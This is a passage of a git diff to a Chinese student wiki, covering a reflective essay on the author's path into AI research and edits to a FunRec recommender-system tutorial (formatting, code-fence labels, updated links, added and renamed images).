同时,我也会在本篇内容中给你,你可以在本篇内容中获得什么。 > 这是一个最好的时代,也是一个最坏的时代; -> +> > 这是一个智慧的年代,这是一个愚蠢的年代; -> +> > 这是一个信任的时期,这是一个怀疑的时期。 -> +> > 这是一个光明的季节,这是一个黑暗的季节; -> +> > 这是希望之春,这是失望之冬; -> +> > 人们面前应有尽有,人们面前一无所有; -> +> > 人们正踏上天堂之路,人们正走向地狱之门。 -> -> ——《双城记》 查尔斯·狄更斯 +> +> ——《双城记》查尔斯·狄更斯 ## 看山是山 -2020年,在一门杭电的程序设计实践课上,老师要求我们用C语言去实现一些算法,我本来是将目标定为去大厂赚更多的钱的,对所谓AI仅仅停留在概念上,对其内容一无所知。 +2020 年,在一门杭电的程序设计实践课上,老师要求我们用 C 语言去实现一些算法,我本来是将目标定为去大厂赚更多的钱的,对所谓 AI 仅仅停留在概念上,对其内容一无所知。 -在实验的过程中,偶然和一位转专业学长偶然聊起到程设变态难得题目设计,要求用C语言实现KNN之类的算法,这TM对于我当时的水平简直是太难了!聊到他自己所在的某个实验室本科生的入组任务也不过是这个难度偏低一点点。 +在实验的过程中,偶然和一位转专业学长偶然聊起到程设变态难得题目设计,要求用 C 语言实现 KNN 之类的算法,这 TM 对于我当时的水平简直是太难了!聊到他自己所在的某个实验室本科生的入组任务也不过是这个难度偏低一点点。 带着投机主义的心态,想着能不能混到一些论文之类的成果更好就业,毅然决然上了船。 @@ -43,9 +45,9 @@ 对所谓的科研,所谓的论文,所谓的项目的含金量都是一知半解,只不过是“看到感觉他很火,感觉他很好,具体怎么样我不知道”的心态。这也是在当时的市场上,很多人的心态,由此也是人工智能第一轮狂潮的热点所在,因为大家其实很多都不清楚这个新技术,究竟有什么样的上线,吹起了很大的泡泡。 -就算是有点远见的本科生,也仅仅是看到了所谓的CV和NLP在学校和整个社会大规模宣传下的科普性的概念,也许也没有深入了解过,当时的我也一样。但是我也陷入了同样的狂热中,仅仅是因为他足够火热或有足够的前景,我就想着跟随着潮流走。 +就算是有点远见的本科生,也仅仅是看到了所谓的 CV 和 NLP 在学校和整个社会大规模宣传下的科普性的概念,也许也没有深入了解过,当时的我也一样。但是我也陷入了同样的狂热中,仅仅是因为他足够火热或有足够的前景,我就想着跟随着潮流走。 -我看了一点非常基础的教程,老师便给我发了两篇非常刺激的CV论文,都是他专业下比较前沿的文章了,我对这到底意味着什么仍然是一无所知,我完全没有搭建起合理的知识框架,我眼里AI只有深度学习,只有用框架写的那几行短短的代码,于是开启了受难之旅。 +我看了一点非常基础的教程,老师便给我发了两篇非常刺激的 CV 论文,都是他专业下比较前沿的文章了,我对这到底意味着什么仍然是一无所知,我完全没有搭建起合理的知识框架,我眼里 AI 只有深度学习,只有用框架写的那几行短短的代码,于是开启了受难之旅。 老师并没有做错什么,他只是在这个人工智能大潮下的一朵浪花,他也尽其所能的做到了对本科学生的关注,错的是我,我没有仔细考究过,也没有站在足够高的角度去审视如果我加入了他的工作,我在这个行业中会处在什么样的位置。 @@ -71,44 +73,46 @@ **我厌恶他!我厌恶他破坏了科研的纯洁性!我厌恶他成为了急功近利者的帮凶!我厌恶他堆砌的沙堆是充斥着无产者的血和泪!我厌恶他让马太效应发挥到了极致!我厌恶他让所有人都贴上了他的面具,但可能对本质上的东西一无所知!我厌恶他只注重结果,完全不注重过程然后让写的故事变成了捏造!** - 但是,现在我会说,也许当时的我真的错了。我并没有思考过所谓人类的智能和AI的智能的关系,也忽视了当某一个趋势或方向发展到极致之后,量变会引发什么样的质变。 + 但是,现在我会说,也许当时的我真的错了。我并没有思考过所谓人类的智能和 AI 的智能的关系,也忽视了当某一个趋势或方向发展到极致之后,量变会引发什么样的质变。 -[推荐大伙可以看看这个](https://www.bilibili.com/video/BV11c41157aU/?spm_id_from=333.999.0.0&vd_source=2cb6252f9211ae9d29cf1f76f0aea8d7) +[推荐大伙可以看看这个](https://www.bilibili.com/video/BV11c41157aU) -## 看山是山 -> 孟德尔出生于奥地利帝国(今天的捷克共和国)的西里西亚,是现代遗传学的创始人。尽管几千年来农民就知道动植物的杂交可以促进某些理想的性状,但孟德尔在1856年至1863年之间进行的豌豆植物实验建立了许多遗传规则,现称为孟德尔定律。 + + +## 看山还是山 + +> 孟德尔出生于奥地利帝国(今天的捷克共和国)的西里西亚,是现代遗传学的创始人。尽管几千年来农民就知道动植物的杂交可以促进某些理想的性状,但孟德尔在 1856 年至 1863 年之间进行的豌豆植物实验建立了许多遗传规则,现称为孟德尔定律。 在孟德尔那个时代,人们不知道基因,人们也看不到那么小的东西,他给基因取了个名字叫遗传因子。他没能掌握“真实的规律”,可是我们不得不承认的是,他是一个真正有科研精神的人的科研人。 - 我在不断地绝望之后,走向了极端,我放弃了跟进这个方面的学习,孟尝高洁,空余报国之情;阮籍猖狂,岂效穷途之哭!我失去了搞科研的热情,只想一心去做些别的。 -我看到了南大的课程,我去看一生一芯,去看jyy老师的OS,我听到了蒋老师对未来AI的发展充满了信心,我虽然很崇拜他,但我仍对此嗤之以鼻,我不相信。 +我看到了南大的课程,我去看一生一芯,去看 jyy 老师的 OS,我听到了蒋老师对未来 AI 的发展充满了信心,我虽然很崇拜他,但我仍对此嗤之以鼻,我不相信。 -一直到有一天,相先生在实验室玩一个叫chatGPT的东西,虽然之前懵懵懂懂的有了解过GPT3之类的东西,但是都对此行的发展没有什么了解,只是知道他又非常大的参数的语言模型,在好奇之下,我去亲自体验chat GPT,我受震惊于他能准确无误的理解我的意思,甚至能替我写代码,只要将问题拆解,他几乎可以就任何一个问题给出一个反而化之的答案。 +一直到有一天,相先生在实验室玩一个叫 chatGPT 的东西,虽然之前懵懵懂懂的有了解过 GPT3 之类的东西,但是都对此行的发展没有什么了解,只是知道他又非常大的参数的语言模型,在好奇之下,我去亲自体验 chat GPT,我受震惊于他能准确无误的理解我的意思,甚至能替我写代码,只要将问题拆解,他几乎可以就任何一个问题给出一个反而化之的答案。 -随后没过多久,GPT4与new bing应运而生,可以理解用户的意图和情感,根据用户的偏好和反馈来调整输出,甚至利用网络搜索来增强其的知识和回答能力,他们还结合了CV的功能,可以让他们来进行图像的生成工作。作为科研人的最高追求,大一统,一通半通的解决所有问题的模型竟然真的可能在我的有生之年实现,不由得震惊至极。同时,大模型也进入了CV领域,出现了segmenting anything这样可以做到零样本迁移这样的神奇功能,auto GPT出现了在电脑主机上直接替人解决问题甚至是完成某一项工程任务的GPT,以及可以在手机上本地做的mini GPT,技术的爆炸以及变革似乎一瞬间到来了,但是当我回过头展望的时候,正是我最看不起的沙砾,堆叠成了如此强大石之巨人,并且随着资本的涌入,他还在不断强大!!! +随后没过多久,GPT4 与 new bing 应运而生,可以理解用户的意图和情感,根据用户的偏好和反馈来调整输出,甚至利用网络搜索来增强其的知识和回答能力,他们还结合了 CV 的功能,可以让他们来进行图像的生成工作。作为科研人的最高追求,大一统,一通半通的解决所有问题的模型竟然真的可能在我的有生之年实现,不由得震惊至极。同时,大模型也进入了 CV 领域,出现了 segmenting anything 这样可以做到零样本迁移这样的神奇功能,auto GPT 出现了在电脑主机上直接替人解决问题甚至是完成某一项工程任务的 GPT,以及可以在手机上本地做的 mini GPT,技术的爆炸以及变革似乎一瞬间到来了,但是当我回过头展望的时候,正是我最看不起的沙砾,堆叠成了如此强大石之巨人,并且随着资本的涌入,他还在不断强大!!! -2012年,被我们认定为人工智能学习的开篇之作,Alex net诞生了,由Alex Krizhevsky和他的导师Geoffrey Hinton以及Ilya Sutskever设计,在2012年的ImageNet大规模视觉识别挑战赛中获得了冠军,展示了深度学习在图像分类方面的强大能力,并且正式启动了深度学习的革命,在当时他也引发了大量的争议,奉承这符号主义的大师们对着他指指点点,可是他们并不能阻碍时代的巨石碾过一切非议,并且在各个领域都爆发出极其强大的生命力。 +2012 年,被我们认定为人工智能学习的开篇之作,Alex net 诞生了,由 Alex Krizhevsky 和他的导师 Geoffrey Hinton 以及 Ilya Sutskever 设计,在 2012 年的 ImageNet 大规模视觉识别挑战赛中获得了冠军,展示了深度学习在图像分类方面的强大能力,并且正式启动了深度学习的革命,在当时他也引发了大量的争议,奉承这符号主义的大师们对着他指指点点,可是他们并不能阻碍时代的巨石碾过一切非议,并且在各个领域都爆发出极其强大的生命力。 -想起在学操作系统的时候,linus在几十年前被大老师tanenbaum狂喷,说整了什么垃圾玩意儿。当时的minix基本上可以说是横扫江湖,linus却坚持说用户只考虑用户态是否好用而不在乎内核有多牛逼,当时的论战基本上把各类大神都炸出来,结果几十年后的如今我们发现原来遍布世界的居然是宏内核/混合内核。 +想起在学操作系统的时候,linus 在几十年前被大老师 tanenbaum 狂喷,说整了什么垃圾玩意儿。当时的 minix 基本上可以说是横扫江湖,linus 却坚持说用户只考虑用户态是否好用而不在乎内核有多牛逼,当时的论战基本上把各类大神都炸出来,结果几十年后的如今我们发现原来遍布世界的居然是宏内核/混合内核。 时代的发展连大佬都可以拍死在沙滩上! +从短期来看,也许未来 GPT 会接管小 AI 形成一套上下左右俱为一体的 AI 智能模型,在所谓自动驾驶,智能家居领域发挥极其卓越的作用。 +从长远来看,不由得联想起 AI 在围棋方面 alpha zero 的论文里面提到过,当他们不适用人类的知识的时候,反而模型的效果好很多,有没有可能 AI 在短短的未来总结出一套人类自然语言的规则后,自发创造出一个全新的语言,最终就彻底脱离人类变成一种全新的生命形式,从而彻底颠覆人类以公理为基础的数学,创造一套全新的数学体系,数学体系重做,物理学是否也会迎来质变? -从短期来看,也许未来GPT会接管小AI形成一套上下左右俱为一体的AI智能模型,在所谓自动驾驶,智能家居领域发挥极其卓越的作用。 +AI 是一个复杂且多样化的研究领域,他能取得如此长远的发展,并非是仅仅一个两个人靠着所谓的理论研究就可以推动起来的,它伴随着底层的硬件设施配套的完善,算力的突破性增长等等,发展本身,也许就是兼容并蓄的,我们应该在这个发展的洪流前,找到自己的位置以更为谦卑谨慎的姿态,进行更为长远的思考和学习吧。 -从长远来看,不由得联想起AI在围棋方面alpha zero的论文里面提到过,当他们不适用人类的知识的时候,反而模型的效果好很多,有没有可能AI在短短的未来总结出一套人类自然语言的规则后,自发创造出一个全新的语言,最终就彻底脱离人类变成一种全新的生命形式,从而彻底颠覆人类以公理为基础的数学,创造一套全新的数学体系,数学体系重做,物理学是否也会迎来质变? - -AI是一个复杂且多样化的研究领域,他能取得如此长远的发展,并非是仅仅一个两个人靠着所谓的理论研究就可以推动起来的,它伴随着底层的硬件设施配套的完善,算力的突破性增长等等,发展本身,也许就是兼容并蓄的,我们应该在这个发展的洪流前,找到自己的位置以更为谦卑谨慎的姿态,进行更为长远的思考和学习吧。 - -> 三花聚顶本是幻,脚下腾云亦非真。大梦一场终须醒,无根无极本归尘。 +> 三花聚顶本是幻,脚下腾云亦非真。大梦一场终须醒,无根无极本归尘。 ## 结语 -让我们回到最开始的那几句话 -这是一个最好的时代(AI技术正在改变人们的生活) -也是一个最坏的时代(AI也许取代大量人的饭碗) +让我们回到最开始的那几句话 +这是一个最好的时代(AI 技术正在改变人们的生活) + +也是一个最坏的时代(AI 也许取代大量人的饭碗) 这是一个智慧的年代(很多顶尖的科学家正在改变世界) @@ -116,7 +120,7 @@ AI是一个复杂且多样化的研究领域,他能取得如此长远的发展 这是一个信任的时期(人们将更加信任这个社会会因此变好) -这是一个怀疑的时期(AI技术带来伦理,毁灭世界等方面的讨论) +这是一个怀疑的时期(AI 技术带来伦理,毁灭世界等方面的讨论) 这是一个光明的季节(前沿科研或科技从来没有离普通的本科生这么近) @@ -126,7 +130,7 @@ AI是一个复杂且多样化的研究领域,他能取得如此长远的发展 这是失望之冬(我国仍有很多需要发展的地方) -人们面前应有尽有(人们以后可能拥有了AI也就拥有了一切) +人们面前应有尽有(人们以后可能拥有了 AI 也就拥有了一切) 人们面前一无所有(隐私,版权,安全等问题正在受到质疑) @@ -144,7 +148,7 @@ AI是一个复杂且多样化的研究领域,他能取得如此长远的发展 而这些都不会使他停滞 -**这是本讲义想做的第三件事,拥有学习新技术,跟上时代的能力** +**这是本讲义想做的第三件事,拥有学习新技术,跟上时代的能力**** 而愿不愿意在这激荡翻腾的年份,贡献出你的力量,让世界变得更好/更坏,就取决于你的选择了! diff --git a/4.人工智能/FunRec概述.md b/4.人工智能/FunRec概述.md index 54e4b11..5cef916 100644 --- a/4.人工智能/FunRec概述.md +++ b/4.人工智能/FunRec概述.md @@ -1,35 +1,36 @@ -# FunRec概述 +# FunRec 概述 -# 序言 +## 序言 -这是一篇datawhale的相当优秀的推荐系统教程,因此特别请相先生废了九牛二虎之力把FunRec的半套内容,较为完整的移植到了本wiki中。 +这是一篇 datawhale 的相当优秀的推荐系统教程,因此特别废了九牛二虎之力把 FunRec 的半套内容,较为完整的移植到了本 wiki 中。 -## 为什么要专门移植这篇? +### 为什么要专门移植这篇? -zzm个人以为推荐系统是一个非常有趣的横向和纵向都有很多应用的领域(放到外面是因为放到某一个模块下会因为次级链接太多把wiki撑爆了) +zzm 个人以为推荐系统是一个非常有趣的横向和纵向都有很多应用的领域(放到外面是因为放到某一个模块下会因为次级链接太多把 wiki 撑爆了) 若你想尝试一个新领域,也许这是一个不错的切入点。更何况,如果你想足够完整的构建一个有实际价值的推荐系统,可能需要你去了解相当全面的知识。 -在学习了基础内容之后,如果你想向着科研领域进发,也许对你而言最好的方式或许是选择一个大佬然后去follow他的进度。 +在学习了基础内容之后,如果你想向着科研领域进发,也许对你而言最好的方式或许是选择一个大佬然后去 follow 他的进度。 如果你想去找相关的工作,你可以自行去深入学习有关本教程内容的实践部分,甚至是阅读算法面经。 同时只放上半部的原因是毕竟本偏内容是人工智能大类下的内容,后续可能会涉及一些前后端以及一些更为深入的东西,如果你只是想大致了解一下,那么阅读放在本片的内容被也许是一个不错的选择。 -再次感谢Datawhale的大伙做出了如此卓著的贡献 +再次感谢 Datawhale 的大伙做出了如此卓著的贡献 + +## 正文 -# 正文 本教程主要是针对具有机器学习基础并想找推荐算法岗位的同学。教程内容由推荐系统概述、推荐算法基础、推荐系统实战和推荐系统面经四个部分组成。本教程对于入门推荐算法的同学来说,可以从推荐算法的基础到实战再到面试,形成一个闭环。每个部分的详细内容如下: - **推荐系统概述。** 这部分内容会从推荐系统的意义及应用,到架构及相关的技术栈做一个概述性的总结,目的是为了让初学者更加了解推荐系统。 - **推荐系统算法基础。** 这部分会介绍推荐系统中对于算法工程师来说基础并且重要的相关算法,如经典的召回、排序算法。随着项目的迭代,后续还会不断的总结其他的关键算法和技术,如重排、冷启动等。 -- **推荐系统实战。** 这部分内容包含推荐系统竞赛实战和新闻推荐系统的实践。其中推荐系统竞赛实战是结合阿里天池上的新闻推荐入门赛做的相关内容。新闻推荐系统实践是实现一个具有前后端交互及整个推荐链路的项目,该项目是一个新闻推荐系统的demo没有实际的商业化价值。 +- **推荐系统实战。** 这部分内容包含推荐系统竞赛实战和新闻推荐系统的实践。其中推荐系统竞赛实战是结合阿里天池上的新闻推荐入门赛做的相关内容。新闻推荐系统实践是实现一个具有前后端交互及整个推荐链路的项目,该项目是一个新闻推荐系统的 demo 没有实际的商业化价值。 - **推荐系统算法面经。** 这里会将推荐算法工程师面试过程中常考的一些基础知识、热门技术等面经进行整理,方便同学在有了一定推荐算法基础之后去面试,因为对于初学者来说只有在公司实习学到的东西才是最有价值的。 **特别说明**:项目内容是由一群热爱分享的同学一起花时间整理而成,**大家的水平都非常有限,内容难免存在一些错误和问题,如果学习者发现问题,也欢迎及时反馈,避免让后学者踩坑!** 如果对该项目有改进或者优化的建议,还希望通过下面的二维码找到项目负责人或者在交流社区中提出,我们会参考大家的意见进一步对该项目进行修改和调整!如果想对该项目做一些贡献,也可以通过上述同样的方法找到我们! -为了方便学习和交流,**我们建立了FunRec学习社区(微信群+知识星球)**,微信群方便大家平时日常交流和讨论,知识星球方便沉淀内容。由于我们的内容面向的人群主要是学生,所以**知识星球永久免费**,感兴趣的可以加入星球讨论(加入星球的同学先看置定的必读帖)!**FunRec学习社区内部会不定期分享(FunRec社区中爱分享的同学)技术总结、个人管理等内容,[跟技术相关的分享内容都放在了B站](https://space.bilibili.com/431850986/channel/collectiondetail?sid=339597)上面**。由于微信群的二维码只有7天内有效,所以直接加下面这个微信,备注:**Fun-Rec**,会被拉到Fun-Rec交流群,如果觉得微信群比较吵建议直接加知识星球!。 +为了方便学习和交流,**我们建立了 FunRec 学习社区(微信群 + 知识星球)**,微信群方便大家平时日常交流和讨论,知识星球方便沉淀内容。由于我们的内容面向的人群主要是学生,所以**知识星球永久免费**,感兴趣的可以加入星球讨论(加入星球的同学先看置定的必读帖)!**FunRec 学习社区内部会不定期分享 (FunRec 社区中爱分享的同学) 技术总结、个人管理等内容,[跟技术相关的分享内容都放在了 B 站](https://space.bilibili.com/431850986/channel/collectiondetail?sid=339597)上面**。由于微信群的二维码只有 7 天内有效,所以直接加下面这个微信,备注:**Fun-Rec**,会被拉到 Fun-Rec 交流群,如果觉得微信群比较吵建议直接加知识星球!。 -
+
diff --git a/4.人工智能/ch02/ch2.1/ch2.1.1/itemcf.md b/4.人工智能/ch02/ch2.1/ch2.1.1/itemcf.md index 92c69d2..f79a8b5 100644 --- a/4.人工智能/ch02/ch2.1/ch2.1.1/itemcf.md +++ b/4.人工智能/ch02/ch2.1/ch2.1.1/itemcf.md @@ -97,7 +97,7 @@ $$ print(similarity_matrix) ``` - ``` + ```python A B C D E A 1.000000 -0.476731 -0.123091 0.532181 0.969458 B -0.476731 1.000000 0.645497 -0.310087 -0.478091 @@ -124,7 +124,7 @@ $$ print(f'与物品{target_item}最相似的{num}个物品为:{sim_items}') ``` - ``` + ```python 与物品E最相似的2个物品为:['A', 'D'] ``` @@ -147,7 +147,7 @@ $$ print(f'用户{target_user}对物品{target_item}的预测评分为:{target_item_pred}') ``` - ``` + ```python 用户 Alice 对物品E的预测评分为:4.6 ``` @@ -260,10 +260,4 @@ $$ # 参考资料 * [基于用户的协同过滤来构建推荐系统:https://mp.weixin.qq.com/s/ZtnaQrVIpVOPJpqMdLWOcw](https://mp.weixin.qq.com/s/ZtnaQrVIpVOPJpqMdLWOcw) -* [协同过滤算法概述:https://chenk.tech/posts/8ad63d9d.html](https://chenk.tech/posts/8ad63d9d.html) * B站黑马推荐系统实战课程 - - - - - diff --git a/4.人工智能/ch02/ch2.1/ch2.1.1/usercf.md b/4.人工智能/ch02/ch2.1/ch2.1.1/usercf.md index 72a3c86..1dad7cc 100644 --- a/4.人工智能/ch02/ch2.1/ch2.1.1/usercf.md +++ b/4.人工智能/ch02/ch2.1/ch2.1.1/usercf.md @@ -234,7 +234,7 @@ UserCF算法的两个步骤: print(similarity_matrix) ``` - ``` + ```python 1 2 3 4 5 1 1.000000 0.852803 0.707107 0.000000 -0.792118 2 0.852803 1.000000 0.467707 0.489956 -0.900149 @@ -253,7 +253,7 @@ UserCF算法的两个步骤: print(f'与用户{target_user}最相似的{num}个用户为:{sim_users}') ``` - ``` + ```python 与用户 Alice 最相似的2个用户为:['user1', 'user2'] ``` @@ -277,7 +277,7 @@ UserCF算法的两个步骤: print(f'用户{target_user}对物品{target_item}的预测评分为:{target_item_pred}') ``` - ``` + ```python 用户 Alice 对物品E的预测评分为:4.871979899370592 ``` @@ -341,5 +341,4 @@ $$ # 参考资料 * [基于用户的协同过滤来构建推荐系统:https://mp.weixin.qq.com/s/ZtnaQrVIpVOPJpqMdLWOcw](https://mp.weixin.qq.com/s/ZtnaQrVIpVOPJpqMdLWOcw) -* [协同过滤算法概述:https://chenk.tech/posts/8ad63d9d.html](https://chenk.tech/posts/8ad63d9d.html) * B站黑马推荐系统实战课程 diff --git a/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeDNN.md b/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeDNN.md index 7e7006a..066b34d 100644 --- a/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeDNN.md +++ b/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeDNN.md @@ -85,7 +85,7 @@ $$ Ok,到这里平淡无奇, 前向传播也大致上快说完了, 还差最后一步。 最后这一步,就是做多分类问题,然后求损失,这就是training那边做的事情。 但是在详细说这个之前, 我想先简单回忆下word2vec里面的skip-gram Model, 这个模型,如果回忆起来,这里理解起来就非常的简单了。 -这里只需要看一张图即可, 这个来自cs231N公开课PPT, 我之前整理w2v的时候用到的,详细内容可看我[这篇博客](https://zhongqiang.blog.csdn.net/article/details/106948860), 这里的思想其实也是从w2v那边过来的。 +这里只需要看一张图即可, 这个来自cs231N公开课PPT, 我之前整理w2v的时候用到的,这里的思想其实也是从w2v那边过来的。
在这里插入图片描述 diff --git a/4.人工智能/ch02/ch2.1/ch2.1.2/word2vec.md b/4.人工智能/ch02/ch2.1/ch2.1.2/word2vec.md index cbaea10..5ff769b 100644 --- a/4.人工智能/ch02/ch2.1/ch2.1.2/word2vec.md +++ b/4.人工智能/ch02/ch2.1/ch2.1.2/word2vec.md @@ -103,7 +103,7 @@ Word2vec包含两个模型,**Skip-gram与CBOW**。下面,我们先讲**Skip- 我们滑动窗口,再以banking为中心词 - + 那么,如果我们在整个语料库上不断地滑动窗口,我们可以得到所有位置的$P(o|c)$,我们希望在所有位置上**最大化单词o在单词c周围出现了这一事实**,由极大似然法,可得: diff --git a/4.人工智能/ch02/ch2.2/ch2.2.1.md b/4.人工智能/ch02/ch2.2/ch2.2.1.md index e43ab26..57cbb5d 100644 --- a/4.人工智能/ch02/ch2.2/ch2.2.1.md +++ b/4.人工智能/ch02/ch2.2/ch2.2.1.md @@ -239,7 +239,7 @@ $$ ### 编程实践 -下面我们通过kaggle上的一个ctr预测的比赛来看一下GBDT+LR模型部分的编程实践, [数据来源](https://github.com/zhongqiangwu960812/AI-RecommenderSystem/tree/master/GBDT%2BLR/data) +下面我们通过kaggle上的一个ctr预测的比赛来看一下GBDT+LR模型部分的编程实践, [数据来源](https://github.com/zhongqiangwu960812/AI-RecommenderSystem/tree/master/Rank/GBDT%2BLR/data) 我们回顾一下上面的模型架构, 首先是要训练GBDT模型, GBDT的实现一般可以使用xgboost, 或者lightgbm。训练完了GBDT模型之后, 我们需要预测出每个样本落在了哪棵树上的哪个节点上, 然后通过one-hot就会得到一些新的离散特征, 这和原来的特征进行合并组成新的数据集, 然后作为逻辑回归的输入,最后通过逻辑回归模型得到结果。 diff --git a/4.人工智能/ch02/ch2.2/ch2.2.3/DeepFM.md b/4.人工智能/ch02/ch2.2/ch2.2.3/DeepFM.md index c03efaf..5ee74dd 100644 --- a/4.人工智能/ch02/ch2.2/ch2.2.3/DeepFM.md +++ b/4.人工智能/ch02/ch2.2/ch2.2.3/DeepFM.md @@ -151,6 +151,6 @@ def DeepFM(linear_feature_columns, dnn_feature_columns): **参考资料** - [论文原文](https://arxiv.org/pdf/1703.04247.pdf) - [deepctr](https://github.com/shenweichen/DeepCTR) -- [FM](https://github.com/datawhalechina/team-learning-rs/blob/master/RecommendationSystemFundamentals/04%20FM.md) +- [FM](https://github.com/datawhalechina/fun-rec/blob/master/docs/ch02/ch2.1/ch2.1.2/FM.md) - [推荐系统遇上深度学习(三)--DeepFM模型理论和实践](https://www.jianshu.com/p/6f1c2643d31b) - [FM算法公式推导](https://blog.csdn.net/qq_32486393/article/details/103498519) \ No newline at end of file diff --git a/4.人工智能/ch02/ch2.2/ch2.2.5/2.2.5.0.md b/4.人工智能/ch02/ch2.2/ch2.2.5/2.2.5.0.md index c1e37e2..c277745 100644 --- a/4.人工智能/ch02/ch2.2/ch2.2.5/2.2.5.0.md +++ b/4.人工智能/ch02/ch2.2/ch2.2.5/2.2.5.0.md @@ -118,7 +118,7 @@ def Shared_Bottom(dnn_feature_columns, num_tasks=None, task_types=None, task_nam 参考资料: -[https://developer.aliyun.com/article/793252](https://link.zhihu.com/?target=https%3A//developer.aliyun.com/article/793252) +[https://developer.aliyun.com/article/793252](https://developer.aliyun.com/article/793252) https://zhuanlan.zhihu.com/p/291406172 diff --git a/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md b/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md index 53ae82d..af8dd6f 100644 --- a/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md +++ b/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md @@ -77,8 +77,8 @@ OK, 到这里就把MMOE的故事整理完了,模型结构本身并不是很 那么, 为什么多任务学习为什么是有效的呢? 这里整理一个看到比较不错的答案: >多任务学习有效的原因是引入了归纳偏置,两个效果: -> - 互相促进: 可以把多任务模型之间的关系看作是互相先验知识,也称为归纳迁移,有了对模型的先验假设,可以更好提升模型的效果。解决数据稀疏性其实本身也是迁移学习的一个特性,多任务学习中也同样会体现 ->- 泛化作用:不同模型学到的表征不同,可能A模型学到的是B模型所没有学好的,B模型也有其自身的特点,而这一点很可能A学不好,这样一来模型健壮性更强 +> - 互相促进: 可以把多任务模型之间的关系看作是互相 先验知识,也称为归纳迁移,有了对模型的先验假设,可以更好提升模型的效果。解决数据稀疏性其实本身也是迁移学习的一个特性,多任务学习中也同样会体现 +> - 泛化作用:不同模型学到的表征不同,可能A模型学到的是B模型所没有学好的,B模型也有其自身的特点,而这一点很可能A学不好,这样一来模型健壮性更强 ## MMOE模型的简单复现之多任务预测 ### 模型概貌 diff --git a/4.人工智能/static/4.3-0.jpg b/4.人工智能/static/4.3-0.jpg new file mode 100644 index 0000000..82d94cf Binary files /dev/null and b/4.人工智能/static/4.3-0.jpg differ diff --git a/4.人工智能/static/4.3.4-0.png b/4.人工智能/static/4.3.4-0.png new file mode 100644 index 0000000..ded04da Binary files /dev/null and b/4.人工智能/static/4.3.4-0.png differ diff --git a/4.人工智能/static/4.3.4-1.png b/4.人工智能/static/4.3.4-1.png new file mode 100644 index 0000000..48d0420 Binary files /dev/null and b/4.人工智能/static/4.3.4-1.png differ diff --git a/4.人工智能/static/4.3.4-10.png b/4.人工智能/static/4.3.4-10.png new file mode 100644 index 0000000..a9fe2af Binary files /dev/null and b/4.人工智能/static/4.3.4-10.png differ diff --git a/4.人工智能/static/4.3.4-11.png b/4.人工智能/static/4.3.4-11.png new file mode 100644 index 0000000..802aa17 Binary files /dev/null and b/4.人工智能/static/4.3.4-11.png differ diff --git a/4.人工智能/static/4.3.4-12.png b/4.人工智能/static/4.3.4-12.png new file mode 100644 index 0000000..858b94d Binary files /dev/null and b/4.人工智能/static/4.3.4-12.png differ diff --git a/4.人工智能/static/4.3.4-13.png b/4.人工智能/static/4.3.4-13.png new file mode 100644 index 0000000..4d533e5 Binary files /dev/null and b/4.人工智能/static/4.3.4-13.png differ diff --git a/4.人工智能/static/4.3.4-14.png b/4.人工智能/static/4.3.4-14.png new file mode 100644 index 0000000..363a58c Binary files /dev/null and b/4.人工智能/static/4.3.4-14.png differ diff --git a/4.人工智能/static/4.3.4-2.png b/4.人工智能/static/4.3.4-2.png new file mode 100644 index 0000000..46f5b4d Binary files /dev/null and b/4.人工智能/static/4.3.4-2.png differ diff --git a/4.人工智能/static/4.3.4-3.png b/4.人工智能/static/4.3.4-3.png new file mode 100644 index 0000000..7529cf8 Binary files /dev/null and b/4.人工智能/static/4.3.4-3.png differ diff --git a/4.人工智能/static/4.3.4-4.png b/4.人工智能/static/4.3.4-4.png new file mode 100644 index 0000000..ed1a50f Binary files /dev/null and b/4.人工智能/static/4.3.4-4.png differ diff --git a/4.人工智能/static/4.3.4-5.png b/4.人工智能/static/4.3.4-5.png new file mode 100644 index 0000000..a06c870 Binary files /dev/null and b/4.人工智能/static/4.3.4-5.png differ diff --git a/4.人工智能/static/4.3.4-6.png b/4.人工智能/static/4.3.4-6.png new file mode 100644 index 0000000..fede004 Binary files /dev/null and b/4.人工智能/static/4.3.4-6.png differ diff --git a/4.人工智能/static/4.3.4-7.png b/4.人工智能/static/4.3.4-7.png new file mode 100644 index 0000000..4c98a35 Binary files /dev/null and b/4.人工智能/static/4.3.4-7.png differ diff --git a/4.人工智能/static/4.3.4-8.png b/4.人工智能/static/4.3.4-8.png new file mode 100644 index 0000000..386a1be Binary files /dev/null and b/4.人工智能/static/4.3.4-8.png differ diff --git a/4.人工智能/static/4.3.4-9.png b/4.人工智能/static/4.3.4-9.png new file mode 100644 index 0000000..6799210 Binary files /dev/null and b/4.人工智能/static/4.3.4-9.png differ diff --git a/4.人工智能/static/4.3.4.2-0.png b/4.人工智能/static/4.3.4.2-0.png new file mode 100644 index 0000000..90690ff Binary files /dev/null and b/4.人工智能/static/4.3.4.2-0.png differ diff --git a/4.人工智能/static/4.3.4.2-1.png b/4.人工智能/static/4.3.4.2-1.png new file mode 100644 index 0000000..0605ab6 Binary files /dev/null and b/4.人工智能/static/4.3.4.2-1.png differ diff --git a/4.人工智能/static/1280X1280.png b/4.人工智能/static/Am3Iwb1ggnyUkB1b9osh.png similarity index 100% rename from 4.人工智能/static/1280X1280.png rename to 4.人工智能/static/Am3Iwb1ggnyUkB1b9osh.png diff --git a/4.人工智能/static/newqq.png b/4.人工智能/static/srt2023newqqgroup.png similarity index 100% rename from 4.人工智能/static/newqq.png rename to 4.人工智能/static/srt2023newqqgroup.png diff --git a/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md b/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md index 1faca46..a5ac40c 100644 --- a/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md +++ b/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md @@ -1,26 +1,26 @@ # 嵌入式是什么?可以吃吗? -> Author:肖扬 +> Author:肖扬 -# 概念引入与讲解 +## 概念引入与讲解 刚开始接触嵌入式的人,往往会有这样的疑惑:嵌入式到底是什么? 